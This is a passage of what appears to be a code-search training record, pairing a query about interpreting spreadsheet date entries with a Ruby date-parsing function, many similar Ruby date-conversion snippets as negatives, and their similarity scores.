d.class\r\n\t\t\t\t\tdate_obj = serial_to_date(d)\r\n\t\t\t\telse\r\n\t\t\t\t\t# otherwise must be a date string\r\n\t\t\t\t\tdate_obj = parse_date_str(d)\r\n\t\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\tif date_obj\r\n\t\t\t# we have a date, do we have to adjust years?\r\n\t\t\tif after_1925\r\n\t\t\t\tif date_obj.year <= 25\r\n\t\t\t\t\treturn Date.new(y=date_obj.year+2000, m=date_obj.month,\r\n\t\t\t\t\t\td=date_obj.day)\r\n\t\t\t\telsif (date_obj.year < 100) and (25 < date_obj.year)\r\n\t\t\t\t\treturn Date.new(y=date_obj.year+1900, m=date_obj.month,\r\n\t\t\t\t\t\td=date_obj.day) \r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\treturn date_obj\r\n\t\telse\r\n\t\t\t# if you get here, it's in a format we don't understand or handle\r\n\t\t\traise ArgumentError, \"can't make date from #{d.class}\"\r\n\t\tend\r\n\tend", "def to_date(string)\n Date.parse(string)\n rescue\n nil\n end", "def convert_cell(column,xlsx,nrow,ncol)\n d = xlsx.cell(nrow,ncol)\n type = column['type'] || 'string'\n case type\n when 'long'\n d.to_i\n when 'double'\n d.to_f\n when 'string'\n d.to_s\n when 'timestamp'\n convert_time(d)\n else # TODO\n d.to_s\n end\n end", "def cell(row, col, sheet = nil)\n sheet ||= default_sheet\n read_cells(sheet)\n row, col = normalize(row, col)\n if celltype(row, col, sheet) == :date\n yyyy, mm, dd = @cell[sheet][[row, col]].to_s.split('-')\n return Date.new(yyyy.to_i, mm.to_i, dd.to_i)\n end\n\n @cell[sheet][[row, col]]\n end", "def convert_dates_from(data)\n case data\n when nil\n nil\n when /^(?:\\d{4}-\\d{2}-\\d{2}|\\d{4}-\\d{1,2}-\\d{1,2}[T \\t]+\\d{1,2}:\\d{2}:\\d{2}(\\.[0-9]*)?(([ \\t]*)Z|[-+]\\d{2}?(:\\d{2})?))$/\n begin\n DateTime.iso8601(data)\n rescue ArgumentError\n data\n end\n when Array\n data.map! { |d| convert_dates_from(d) }\n when Hash\n data.each do |key, value|\n data[key] = convert_dates_from(value)\n end\n else\n data\n end\n end", "def reg_binary_to_date(str)\n\t\tbegin\n\t\tcut=str.scan(/..../)\n\t\tyear=(cut[0][2,4]+cut[0][0,2]).hex.to_i\n\t\tmonth=(cut[1][2,4]+cut[1][0,2]).hex.to_i\n\t\tweekday=(cut[2][2,4]+cut[2][0,2]).hex.to_i\n\t\tdate=(cut[3][2,4]+cut[3][0,2]).hex.to_i\n\t\thour=(cut[4][2,4]+cut[4][0,2]).hex.to_i\n\t\tmin=(cut[5][2,4]+cut[5][0,2]).hex.to_i\n\t\tif min < 10 then\n\t\t\tmin=\"0#{min}\"\n\t\tend\n\t\tt = Time.gm(year,month,date,hour,min)\n\t\tmonth = t.strftime(\"%B\")\n\t\tweekday = t.strftime(\"%A\")\n\t\treturn \"#{weekday}, #{date} #{month} #{year} #{hour}:#{min}\"\n\t\trescue\n\t\t\treturn 'Error resolving last connected date'\n\t\tend\n\tend", "def read_binary_date(fname,fd,length)\n raise CFFormatError.new(\"Date greater than 8 bytes: #{length}\") if length > 3\n\n nbytes = 1 << length\n val = nil\n buff = fd.read(nbytes)\n\n case length\n when 0 then # 1 byte CFDate is an error\n raise CFFormatError.new(\"#{length+1} byte CFDate, error\")\n when 1 then # 2 byte CFDate is an error\n raise CFFormatError.new(\"#{length+1} byte CFDate, error\")\n when 2 then\n val = buff.reverse.unpack(\"f\")\n val = val[0]\n when 3 then\n val = buff.reverse.unpack(\"d\")\n val = val[0]\n end\n\n return CFDate.new(val,CFDate::TIMESTAMP_APPLE)\n end", "def easy_date; date; end", "def convert_row(row)\n return nil if row.nil?\n row.collect do |col|\n if col.is_a? ::ODBC::Date\n DBI::Date.new(col.year, col.month, col.day)\n elsif col.is_a? ::ODBC::Time\n DBI::Time.new(col.hour, col.minute, col.second)\n elsif col.is_a? ::ODBC::TimeStamp\n DBI::Timestamp.new(col.year, col.month, col.day,\n col.hour, col.minute, col.second, col.fraction)\n else\n col\n end\n end\n end", "def coerce_date(value, options = {})\n value = coerce_string(value)\n begin\n Date.strptime(value, options.fetch(:format, \"%Y-%m-%d\"))\n rescue ArgumentError\n nil\n end\n end", "def from_hash(hash)\n date = Date.today\n begin\n date = Date.new(hash[:year].to_i, hash[:month].to_i, hash[:day].to_i)\n rescue\n begin\n date = Date.new(hash[:year].to_i, hash[:month].to_i, 1)\n date = date.end_of_month\n rescue\n end\n end\n date\n end", "def date\n Date.parse(@obj['date'])\n end", "def d(date_string)\n Date.parse(date_string)\nend", "def xmldatetime_to_date(xml_date_time_str)\n require 'date'\n d = DateTime.xmlschema( xml_date_time_str ).to_date\n # Return conventional US date format:\n return sprintf(\"%02d/%02d/%4d\", d.month, d.day, d.year)\n # Or return \"yyyy/mm/dd\" format with:\n #return DateTime.xmlschema( xml_date_time_str ).to_date.to_s\n end", "def interpret_date(date)\n d = Chronic::parse(date) if date.is_a?(String)\n d = Time.at(date) if date.is_a?(Fixnum)\n \n d.utc.to_i * 1000\n end", "def convert_day_to_date string\r\n Date.strptime(string.to_s,\"%Y%m%d\")\r\n end", "def shorten_to_date(long_date)\n long_date.partition(',')[0]\nend", "def convert_date(date)\n DateTime.parse(date.to_s).strftime('%d.%m.%Y')\n end", "def convert_from_julian\r\n dateArray = HebrewDate.jd_to_hebrew(@jd)\r\n @hy = dateArray[0]\r\n @hm = dateArray[1]\r\n @hd = dateArray[2]\r\n end", "def to_date\n to_time.to_date\n end", "def decode_date(value)\n return nil if value.blank?\n value.is_a?(String) ? value.gsub(' ', '0').to_date : value.to_date\n rescue\n nil\n end", "def to_date(dt)\n return nil if dt.nil?\n dt = Time.at(dt) if dt.is_a? Integer\n case dt\n when DateTime then dt.to_date\n when ::Date then dt\n when Time then ::Date.new(dt.year, dt.month, dt.day)\n when String then ::Date.parse(dt)\n else\n raise ArgumentError, \"unknown input datetime format: #{dt.class.to_s} (#{dt.to_s})\"\n end\n end" ]
[ "0.62069476", "0.61393535", "0.6094726", "0.6068427", "0.60031927", "0.5970545", "0.5916263", "0.59061056", "0.58625317", "0.58551615", "0.58055675", "0.58047736", "0.57916033", "0.57813406", "0.5780769", "0.57712805", "0.5759168", "0.57471335", "0.57381153", "0.57181656", "0.5717701", "0.57092565", "0.56629133", "0.56494623", "0.5635518", "0.56337154", "0.56337154", "0.5632654", "0.56262034", "0.56218344", "0.5611808", "0.55963254", "0.5581574", "0.55774605", "0.5557407", "0.55468786", "0.55457413", "0.5539512", "0.5529303", "0.55199504", "0.54798436", "0.5475485", "0.5467941", "0.5454541", "0.54391253", "0.5438695", "0.54065967", "0.53987974", "0.5395515", "0.5385488", "0.53809714", "0.5378787", "0.53717613", "0.53712034", "0.53681976", "0.53668505", "0.5360508", "0.53487575", "0.53486544", "0.53449446", "0.5333827", "0.5333732", "0.5333732", "0.5325762", "0.53226614", "0.5322369", "0.5317692", "0.53102875", "0.5296224", "0.5281094", "0.52778846", "0.5271019", "0.5269287", "0.52662694", "0.52653104", "0.52653056", "0.5246786", "0.5243549", "0.5235936", "0.52357775", "0.5223065", "0.52157927", "0.52157086", "0.5192848", "0.51909906", "0.5188332", "0.51822996", "0.51645005", "0.51566863", "0.51465845", "0.5140105", "0.513957", "0.51385707", "0.51235294", "0.51178265", "0.50767267", "0.5076142", "0.50669163", "0.50528777", "0.5046692" ]
0.64726996
0
Puzzle out the format of a date entry in a spreadsheet and return it.
def interp_date (d, after_1925=true) # TODO: add argument for preferred/hinted format? # Main: date_obj = false # handle already converted values and serial values # NOTE: to test for a ruby class in a "case/when" statement, you pass in the # object. When clauses are tested with === and obj.class === obj (but # obj === obj.class case d # if no value when NilClass return nil # if already converted when Date date_obj = d # convert serial values when Float date_obj = serial_to_date(d) when Fixnum return serial_to_date(d) # otherwise must be a string when String d = d.strip() # if they leave it unknown if UNKNOWN_STR_REGEX.match(d) return nil end # is it a serial value as a string? if (INT_REGEX.match(d) || FLOAT_REGEX.match(d)) pp d pp d.class date_obj = serial_to_date(d) else # otherwise must be a date string date_obj = parse_date_str(d) end end if date_obj # we have a date, do we have to adjust years? if after_1925 if date_obj.year <= 25 return Date.new(y=date_obj.year+2000, m=date_obj.month, d=date_obj.day) elsif (date_obj.year < 100) and (25 < date_obj.year) return Date.new(y=date_obj.year+1900, m=date_obj.month, d=date_obj.day) end end return date_obj else # if you get here, it's in a format we don't understand or handle raise ArgumentError, "can't make date from #{d.class}" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read_date(date)\r\n case date\r\n when /(\\d{2})\\.\\s{0,}(\\d{2})\\.\\s{0,}(\\d{4})/ # format DD.MM.YYYY nebo DD. MM. YYYY\r\n date.scan(/(\\d{2})\\.\\s{0,}(\\d{2})\\.\\s{0,}(\\d{4})/) do |sep|\r\n new_date = \"#{sep[2]}-#{sep[1]}-#{sep[0]}\"\r\n return new_date\r\n end\r\n when /(\\d{2})\\/(\\d{2})\\/(\\d{4})/\r\n date.scan(/(\\d{2})\\/(\\d{2})\\/(\\d{4})/) do |sep|\r\n new_date = \"#{sep[2]}-#{sep[0]}-#{sep[1]}\"\r\n return new_date\r\n end\r\n when /(\\d{4})\\-(\\d{2})\\-(\\d{2})/ # format YYYY-MM-DD\r\n return date\r\n else\r\n puts \"ERROR! Neplatny format \\\"#{date}\\\" (prijejte format do funkce \\\"read_date\\\")\"\r\n end\r\nend", "def parse_date(row)\n raw_date = row[0]\n if raw_date\n Date.strptime(raw_date, '%m/%d/%y')\n else\n nil\n end\nend", "def guess_date_format\n begin\n line = @data.gets\n break if line.nil?\n\n date = line[1..-1]\n guessed_format = Qif::DateFormat::SUPPORTED_DATEFORMAT.find { |format_string, format|\n test_date_with_format?(date, format_string, format)\n }\n end until guessed_format\n\n @data.rewind\n\n guessed_format ? guessed_format.first : @fallback_format\n end", "def date(input, format); end", "def extract_date(value)\n return value if value.respond_to?(:to_date)\n\n @formats.each do |format|\n if (date = Date.strptime(value, format))\n return date\n end\n end\n\n nil\n rescue => e\n raise DataWrangler::Configuration::Error, e.message\n end", "def formatted_date\n Date.strptime(date, \"%m/%d/%Y\")\n end", "def fix_date(date=nil)\n if date == nil\n # no full date, use current\n yy, mm, dd = Time.now.strftime(\"%Y/%m/%d\").split('/')\n elsif date.size == 3\n # we got full date\n if date[0].size == 4\n # yyyy/mm/dd\n yy = date[0].strip\n mm = date[1].strip\n dd = date[2].strip.rjust(2,'0')\n else\n # dd/mm/yyyy\n dd = date[0].strip.rjust(2,'0')\n mm = date[1].strip\n yy = date[2].strip\n end\n case mm.downcase\n when 'enero' :\n mm = '01'\n when 'febrero' :\n mm = '02'\n when 'marzo' :\n mm = '03'\n when 'abril' :\n mm = '04'\n when 'mayo' :\n mm = '05'\n when 'junio' :\n mm = '06'\n when 'julio' :\n mm = '07'\n when 'agosto' :\n mm = '08'\n when 'setiembre' :\n mm = '09'\n when 'septiembre' :\n mm = '09'\n when 'octubre' :\n mm = '10'\n when 'noviembre' :\n mm = '11'\n when 'diciembre' :\n mm = '12'\n else\n mm.rjust(2,'0')\n end\n end\n return yy, mm, dd\n end", "def returnDateFormated date, format\n return Date.strptime(date, format).strftime(\"%d/%m/%Y\")\nend", "def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end", "def input_date_format(date)\n if date.split(\"-\").count > 2\n new_date = date.split(\"-\")\n return new_date[1] + \"-\" + new_date[0]\n else\n return date\n end\n end", "def get_date(row, col)\n ensure_not_empty(row, col)\n m = row[col].match(%r[^(\\d\\d)/(\\d{1,2})/(\\d\\d\\d\\d)$])\n raise \"bad #{col} value \\\"#{row[col]}\\\": #{row}\" unless m && m.length-1 == 3\n m.captures.map {|s| s.to_i}\nend", "def format_date_nicely(date)\nend", "def process_date(date)\n #store our values in a hash, making it easier to access\n date_hash = Hash.new\n #if the date is only a year we'll process that\n if date.length == 4\n date_hash[\"year\"] = \"2011\"\n\n #otherwise we'll process it as a normal date.We assume normal date formatting'\n else\n separated_date = date.split(\"-\")\n date_hash[\"year\"] = separated_date[0]\n #case incase they forget that month should be before day.\n #so if the \"month\" is greater than 12 we know the meant day instead\n if separated_date[1].to_i >12\n date_hash[\"month\"] = separated_date[2].gsub(\"0\",\"\")\n date_hash[\"day\"] = separated_date[1].gsub(\"0\",\"\")\n #else proceed as normal\n else\n date_hash[\"month\"] = separated_date[1].gsub(\"0\",\"\")\n date_hash[\"day\"] = separated_date[2].gsub(\"0\",\"\")\n end\n\n end\n\n\n return date_hash\n end", "def date_from_string(date)\n\n#remove st rd nd and th\n\nfirstParse = Chronic.parse(date)\nr1 = /[a-zA-Z]/\n\nif firstParse #check if chronic managed to find anything\n\n #daY Less than 12, assume chronic wrong, aslong as also no characters such as December, \n #where it would be right\n if firstParse.day <= 12 and !r1.match(date) \n\t\n\t #swap month with day\n\t firstParse = firstParse.change(:day => firstParse.month, :month => firstParse.day)\n\n end #of if <= 12\n\n return firstParse\n \n else\n \n\treturn Date.new\n \n end #of if firstParse\nend", "def read_date=(_); end", "def normalize_date( date )\n\n # look for the expected pattern (YYYY-MM-DD)\n matches = /^(\\d{4}-\\d{2}-\\d{2})/.match( date )\n return matches[ 1 ] if matches\n\n # look for YYYY-MM and append '-01' if we find it\n matches = /^(\\d{4}-\\d{2})/.match( date )\n return \"#{matches[ 1 ]}-01\" if matches\n\n # look for YYYY and append '-01-01' if we find it\n matches = /^(\\d{4})/.match( date )\n return \"#{matches[ 1 ]}-01-01\" if matches\n\n # give up and return what we were provided\n return date\n\n end", "def format_date(date)\n return date unless !!date.match(/[\\-]+/)\n date.split(/\\-/).reverse.join(\".\")\nend", "def extract_date(info)\n \tinfo.split(/; /).each do |str|\n begin\n Date.valid_date? *str.split('-').map(&:to_i)\n rescue \n nil\n else\n return str\n end\n end\n nil\n end", "def date_reformatting(date)\n #date.split('/')..join(',')\n Date.parse.(date).strftime'[%m, %d, %Y]'\nend", "def formalize_date(pubdate_str)\n # Allowed sample date formats: DEC 2:2021; 25-Dec:2019; Jul:2019; :2019\n wos_formats = ['%b %d:%Y', '%d-%b:%Y', '%b:%Y', ':%Y']\n parsed = nil\n wos_formats.each do |format|\n begin\n parsed = Date.strptime(pubdate_str, format)\n break\n rescue StandardError => e\n Rails.logger.warn \"Repository Work formalize date error #{e.message}\"\n nil\n end\n end\n return parsed.to_s\n end", "def date_reformatting(date)\n month = [[\"January\", 1], [\"February\", 2], [\"March\", 3], [\"April\", 4], [\"May\", 5], [\"December\", 12], [\"Dec\", 12]]\n data = date.split(\" \")\n if data.length == 1\n data = data[0].split(\"-\")\n end\n if data.length == 1\n data = data[0].split(\".\")\n end\n if data.length == 1\n data = data[0].split(\"/\")\n end\n \n send_back = []\n\n month.each do |moth|\n if moth[0] = data[0]\n send_back[0] = moth[1].to_i\n end\n end\n\n send_back[1] = data[1].tr(\",\", \" \").to_i\n send_back[2] = data[2].to_i\n\n return send_back\nend", "def convertDate(date)\n dateHash = date\n dateFormat = Date.parse dateHash\n dateString = dateFormat.strftime('%A, %b %d')\n return dateString \nend", "def publication_date\n the_date = nil\n return the_date if @pubmed['DP'].blank?\n if @pubmed['DP'].strip =~ /([0-9][0-9][0-9][0-9] [a-zA-Z]+)-([0-9][0-9][0-9][0-9] [a-zA-Z]+)/i\n @pubmed['DP'] = @pubmed['DP'].strip.split(\"-\")[1]\n end\n if @pubmed['DP'].strip =~ /([0-9][0-9][0-9][0-9]) ([a-zA-Z]+ [0-9]+)-([a-zA-Z]+ [0-9]+)/i\n @pubmed['DP'] = @pubmed['DP'].strip.gsub(/([0-9][0-9][0-9][0-9]) ([a-zA-Z]+ [0-9]+)-([a-zA-Z]+ [0-9]+)/i, '\\1 \\3')\n end\n pubdate=@pubmed['DP'].strip.split(\" \")\n year_range = pubdate[0].split(\"-\")\n if year_range.length > 1\n pubdate[0] = year_range[1]\n end\n if pubdate.length > 1\n month_range = pubdate[1].split(\"-\")\n if month_range.length > 1\n pubdate[1] = month_range[1]\n end\n pubdate[1] = case pubdate[1] \n when /spring/i then 'Mar'\n when /summer/i then 'Jun'\n when /fall|autumn/i then 'Sep'\n when /winter/i then 'Dec'\n else pubdate[1]\n end\n end\n if pubdate.length > 2\n day_range = pubdate[2].split(\"-\")\n if day_range.length > 1\n pubdate[2] = day_range[1]\n end\n the_date = pubdate[2].to_s + '-' + pubdate[1].to_s + '-' + pubdate[0].to_s\n elsif pubdate.length == 2\n the_date = '01-'+ pubdate[1]+'-'+ pubdate[0]\n elsif pubdate.length == 1\n the_date = '01-JAN-'+ pubdate[0]\n end\n return the_date\n end", "def normalize_date(date)\r\n if date.chars.length==3\r\n norm_date = Date.strptime(date, '%m-%d')\r\n else\r\n norm_date = Date.strptime(date, '%m-%d-%y')\r\n end\r\n norm_date = norm_date.to_s\r\nend", "def format_date\n begin\n self.eob_date = Date.strptime(self.unformatted_eob_date, \"%m/%d/%Y\").to_time(:utc) if !self.unformatted_eob_date.blank?\n self.dos = Date.strptime(self.unformatted_dos, \"%m/%d/%Y\").to_time(:utc) if !self.unformatted_dos.blank?\n self.check_date = Date.strptime(self.unformatted_check_date, \"%m/%d/%Y\").to_time(:utc) if !self.unformatted_check_date.blank?\n rescue\n errors.add :base, \"Invalid Date(s)\"\n end\n end", "def read_date; end", "def formatted_date(date)\n DateTime.parse(date).strftime('%-m/%-d/%y')\n rescue\n ''\n end", "def cell(row, col, sheet = default_sheet)\n validate_sheet!(sheet) # TODO: 2007-12-16\n read_cells(sheet)\n row, col = normalize(row, col)\n value = @cell[sheet][\"#{row},#{col}\"]\n type = celltype(row, col, sheet)\n return value unless [:date, :datetime].include?(type)\n klass, format = if type == :date\n [::Date, @date_format]\n else\n [::DateTime, @datetime_format]\n end\n begin\n return klass.strptime(value, format)\n rescue ArgumentError\n raise \"Invalid #{klass} #{sheet}[#{row},#{col}] #{value} using format '#{format}'\"\n end\n end", "def post_process_date( val )\n\t\t\treturn Date.parse( val )\n\t\trescue ArgumentError\n\t\t\treturn nil\n\t\tend", "def convert_date(date)\r\n if ( date == nil )\r\n return nil\r\n end\r\n string_date = date.to_s\r\n t = string_date.rindex('T')\r\n string_date = string_date.slice(0,t)\r\n string_date \r\nend", "def extract_yyyymmdd_from_datestring( date )\n\n return nil if date.blank?\n\n #puts \"==> DATE IN [#{date}]\"\n begin\n\n # try yyyy-mm-dd (at the start of the string)\n dts = date.match( /^(\\d{4}-\\d{1,2}-\\d{1,2})/ )\n return dts[ 0 ] if dts\n\n # try yyyy/mm/dd (at the start of the string)\n dts = date.match( /^(\\d{4}\\/\\d{1,2}\\/\\d{1,2})/ )\n return dts[ 0 ].gsub( '/', '-' ) if dts\n\n # try yyyy-mm (at the start of the string)\n dts = date.match( /^(\\d{4}-\\d{1,2})/ )\n return dts[ 0 ] if dts\n\n # try yyyy/mm (at the start of the string)\n dts = date.match( /^(\\d{4}\\/\\d{1,2})/ )\n return dts[ 0 ].gsub( '/', '-' ) if dts\n\n # try mm/dd/yyyy (at the start of the string)\n dts = date.match( /^(\\d{1,2}\\/\\d{1,2}\\/\\d{4})/ )\n return DateTime.strptime( dts[ 0 ], \"%m/%d/%Y\" ).strftime( \"%Y-%m-%d\" ) if dts\n\n # try yyyy (anywhere in the string)\n dts = date.match( /(\\d{4})/ )\n return dts[ 0 ] if dts\n\n rescue => ex\n #puts \"==> EXCEPTION: #{ex}\"\n # do nothing...\n end\n\n # not sure what format\n return nil\n end", "def get_date(date)\n\t\tif date != nil\n\t\t\ttemp = Date.parse date.to_s\n\t\t\treturn temp.strftime(\"%a, %b %d %Y\")\n\t\telse\n\t\t\treturn \"Not specifed\"\n\t\tend\n\tend", "def reformat_date_for_save(date_string)\n return if date_string.nil?\n month = \"1\"\n day = \"1\"\n year = \"1900\"\n #match = date_string.gsub(\"-\",\"/\").match(/(\\d+)\\/|\\-(\\d+)\\/|\\-(\\d+)/)\n match = date_string.gsub(\"-\", \"/\").split(\"/\")\n month_numbers = {\"Jan\" => \"1\", \"Feb\" => \"2\", \"Mar\" => \"3\", \"Apr\" => \"4\", \"May\" => \"5\", \"Jun\" => \"6\",\n \"Jul\" => \"7\", \"Aug\" => \"8\", \"Sep\" => \"9\", \"Oct\" => \"10\", \"Nov\" => \"11\", \"Dec\" => \"12\"}\n format_codes = GlobalSettings[:default_date_format].gsub(\"-\", \"/\").gsub(\" \", \"/\").split(\"/\")\n format_codes.each_with_index do |fmt, idx|\n case fmt.downcase\n when '%m'\n month = match[idx]\n when '%d'\n day = match[idx]\n when '%y'\n year = match[idx]\n when '%b'\n month = month_numbers[match[idx]]\n end\n end\n \"#{year}-#{month}-#{day}\"\n end", "def pretty_date\n from_index[:modified].sub(/(\\d{4})(\\d{2})(\\d{2})\\d{6}/,'\\1-\\2-\\3')\n end", "def date_str_for_display\n return if orig_date_str == '0000-00-00' # shpc collection has these useless dates\n # B.C. first in case there are 4 digits, e.g. 1600 B.C.\n return display_str_for_bc if orig_date_str.match(BC_REGEX)\n # decade next in case there are 4 digits, e.g. 1950s\n return display_str_for_decade if orig_date_str.match(DECADE_4CHAR_REGEXP) || orig_date_str.match(DECADE_S_REGEXP)\n\n result = sortable_year_for_yyyy_or_yy\n unless result\n # try removing brackets between digits in case we have 169[5] or [18]91\n no_brackets = remove_brackets\n return DateParsing.new(no_brackets).date_str_for_display if no_brackets\n end\n # parsing below this line gives string inapprop for year_str_valid?\n unless self.class.year_str_valid?(result)\n result = display_str_for_century\n result ||= display_str_for_early_numeric\n end\n # remove leading 0s from early dates\n result = \"#{result.to_i} A.D.\" if result && result.match(/^0\\d+$/)\n result\n end", "def check_date_format(date,format)\n return \"No date\" if date.nil?\n return \"INVALID DATE\" if date !~ /^[0-9-]+$/\n date_hash = Hash.new\n \n date_array = date.scan(/[\\w]+/)\n format_array = format.scan(/[\\w]+/)\n \n date_hash[format_array[0]] = date_array[0].to_i\n date_hash[format_array[1]] = date_array[1].to_i\n date_hash[format_array[2]] = date_array[2].to_i\n \n #p date_hash\n \n return \"INVALID DATE. Must be in [1..31]\" unless (1..31)===date_hash[\"dd\"]\n return \"INVALID MONTH. Must be in [1..12]\" unless (1..12)===date_hash[\"mm\"]\n return \"YEAR MUST BE 4 DIGITS\" unless date_hash[\"yyyy\"].to_s.length ==4\n \n #feb\n if date_hash[\"mm\"] ==2\n if date_hash[\"dd\"] ==29 and date_hash[\"yyyy\"]%4!=0\n return \"NOT A LEAP YEAR\"\n elsif (1..28)===date_hash[\"dd\"]\n return \"INVALID DATE. Must be in [1..28]\"\n else return \"INVALID DATE. February can't have more than 29 days.\" if date_hash[\"dd\"]>29\n end\n end \n \n #30days month\n unless [1,3,5,7,8,10,12].include?date_hash[\"mm\"]\n return \"INVALID DATE. Must be in [1..30]\" if date_hash[\"dd\"]==31\n end \n return nil\nend", "def jira_date str\n DateTime.parse(str)\n rescue => e\n puts \"Can not parse #{ str }: #{ e }\"\n nil\n end", "def try_and_convert_date(value, format = nil)\n if value.is_a?(String)\n fdate = format_date(value, format)\n fdate || value\n else\n value\n end\n end", "def rolls_date= date\n return super(date) unless date.is_a? String\n\n date = Date.strptime(date, \"%m%d%Y\") if date =~ /\\d{8}/\n date = Date.strptime(date, \"%m/%d/%Y\") if date =~ /\\d{1,2}\\/\\d{1,2}\\/\\d{4}/\n date = Date.parse(date) if date =~ /\\d{4}-\\d{1,2}-\\d{1,2}/\n\n super date\n end", "def convert_xanga_header_to_wordpress_date(str)\n arr = str.split(\" \") #split on spaces\n \n raise \"Error in convert_xanga_header_to_date with value=#{str}\" if arr.size != 4 \n \n #get rid of commas\n arr[0].chomp!(\",\") \n arr[2].chomp!(\",\")\n \n arr[0] = case arr[0]\n when \"Sunday\"\n Time::RFC2822_DAY_NAME[0]\n when \"Monday\"\n Time::RFC2822_DAY_NAME[1]\n when \"Tuesday\"\n Time::RFC2822_DAY_NAME[2]\n when \"Wednesday\"\n Time::RFC2822_DAY_NAME[3]\n when \"Thursday\"\n Time::RFC2822_DAY_NAME[4]\n when \"Friday\"\n Time::RFC2822_DAY_NAME[5]\n when \"Saturday\"\n Time::RFC2822_DAY_NAME[6]\n else\n raise \"Error in convert_xanga_header_to_date with value=#{arr[0]}\"\n end\n \n arr[1] = case arr[1]\n when \"January\"\n Time::RFC2822_MONTH_NAME[0]\n when \"February\"\n Time::RFC2822_MONTH_NAME[1]\n when \"March\"\n Time::RFC2822_MONTH_NAME[2]\n when \"April\"\n Time::RFC2822_MONTH_NAME[3]\n when \"May\"\n Time::RFC2822_MONTH_NAME[4]\n when \"June\"\n Time::RFC2822_MONTH_NAME[5]\n when \"July\"\n Time::RFC2822_MONTH_NAME[6]\n when \"August\"\n Time::RFC2822_MONTH_NAME[7]\n when \"September\"\n Time::RFC2822_MONTH_NAME[8]\n when \"October\"\n Time::RFC2822_MONTH_NAME[9]\n when \"November\"\n Time::RFC2822_MONTH_NAME[10]\n when \"December\"\n Time::RFC2822_MONTH_NAME[11] \n else\n #p \"Error in convert_xanga_header_to_date with value=#{arr[0]}\"\n raise \"Error in convert_xanga_header_to_date with value=#{arr[0]}\"\n end\n \n return \"#{arr[0]}, #{arr[2]} #{arr[1]} #{arr[3]} \"\n end", "def wrong_date(num)\n first_day(num).text\nend", "def format_date(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend", "def format_date(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend", "def format_date(date, format)\n date = datetime(date)\n if format.nil? || format.empty? || format == \"ordinal\"\n date_formatted = ordinalize(date)\n else\n format.gsub!(/%a/, ABBR_DAYNAMES_DE[date.wday])\n format.gsub!(/%A/, DAYNAMES_DE[date.wday])\n format.gsub!(/%b/, ABBR_MONTHNAMES_DE[date.mon])\n format.gsub!(/%B/, MONTHNAMES_DE[date.mon])\n date_formatted = date.strftime(format)\n end\n date_formatted\n end", "def extract_date(str)\n\t\tDate.strptime(str, '%m/%d/%Y')\n\tend", "def parse_date(content)\n return content.lstrip.rstrip\n end", "def format_date1(original_date)\n original_date.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)\\z/, '\\3.\\2.\\1')\nend", "def extract_date( date )\n matches = /^(\\d{4}-\\d{2}-\\d{2})/.match( date )\n return matches[ 1 ] if matches\n return date\n end", "def extract_date(value)\n\t\t\treturn nil if value.nil?\n\n\t\t\tif value.is_a?(String)\n\t\t\t\treturn value\n\t\t\telsif value.respond_to?(:strftime)\n\t\t\t\treturn value.strftime(\"%m/%Y\")\n\t\t\tend\n\t\tend", "def format_date\n begin\n self.dos = Date.strptime(self.unformatted_dos, \"%m/%d/%Y\").to_time(:utc) if !self.unformatted_dos.blank?\n rescue\n errors.add :base, \"Invalid Date(s)\"\n return false\n end\n end", "def formatted_date(dt, format=\"%m/%d/%Y\")\n\t\tDate.strptime(dt, '%Y-%m-%d').strftime(format)\n\tend", "def parse_date\n # must access headers via @headers. Using h() would case a stack overflow\n # because parsing isn't yet complete, the page is still 'fresh'.\n if @headers[:date] \n @date = Chronic.parse(@headers[:date])\n elsif @title =~ /:/ && @date.nil?\n plausible_date = @title.split(':').first\n @date = Chronic.parse(plausible_date)\n unless @date\n date_regexp = /\\s*(\\d\\d?)-([a-zA-Z]{3})\\s*/\n match = date_regexp.match(plausible_date)\n @date = Chronic.parse(\"#{match[2]} #{match[1]}\") if match\n end\n if @date\n @title.sub!(/^[^:]*:/, '')\n end\n end\n end", "def format_fuzzy_date(d)\n if is_numeric_string(d, 8)\n year, mon, day = d.slice(0, 4), d.slice(4, 2), d.slice(6, 2)\n date = ''\n if year.to_s.length > 0 && year != '0000'\n date += year\n end\n if mon.to_s.length && mon != '00'\n mon_int = mon.to_i\n date += '-' + sprintf(\"%02d\", mon_int)\n\n if day.to_s.length && day != '00'\n day_int = day.to_i\n date += '-' + sprintf(\"%02d\", day_int)\n end\n end\n return date\n end\n d\n end", "def episode_date(episode)\n date_string = episode[\"Original air date\"] || episode[\"Original release date\"] || episode[\"Airdate\"] || episode[\"Original airdate\"]\n begin\n #remove all numbers after the year\n match = date_string.match(/(?<!\\d)(?!0000)\\d{4}(?!\\d)/)\n stripped_string = date_string[0, match.end(0)]\n date = Date.parse(stripped_string)\n return date\n rescue ArgumentError, NoMethodError\n \tputs \"invalid episode date \" + date_string.to_s\n end\n return nil\n\n end", "def is_date?(value, return_value_flag = false)\n new_value = ''\n original_value = value\n value = value.split(\" \").first if value.split(\" \").length > 1\n value = value.split(\"T\").first if value.split(\"T\").length > 1\n if value.split(\"/\").length == 3 && return_value_flag\n vsplit = value.split(\"/\")\n if vsplit.last.length == 4 && (vsplit.last[0] == \"0\" && vsplit.last[1] == \"0\")\n value = \"#{vsplit[0]}/#{vsplit[1]}/20#{vsplit.last[2]}#{vsplit.last[3]}\"\n end\n end\n value = \"0#{original_value}\" if value.length == 7 && value.to_i.to_s.length == 7\n reg_ex_list = [\n [/^[0-1][0-9]{1,2}\\/[0-3][0-9]{1,2}\\/[0-9]{4}$/,\"%m-%d-%Y\"],\n [/^[0-1][0-9]{1,2}\\/[0-3][0-9]{1,2}\\/[0-9]{2}$/,\"%m-%d-%y\"],\n [/^[1-9]{1}\\/[0-3][0-9]{1,2}\\/[0-9]{4}$/,\"%m-%d-%Y\"],\n [/^[1-9]{1}\\/[0-3][0-9]{1,2}\\/[0-9]{2}$/,\"%m-%d-%y\"],\n\n [/^[0-3][0-9]{1,2}\\/[0-1][0-9]{1,2}\\/[0-9]{4}$/,\"%d-%m-%Y\"],\n 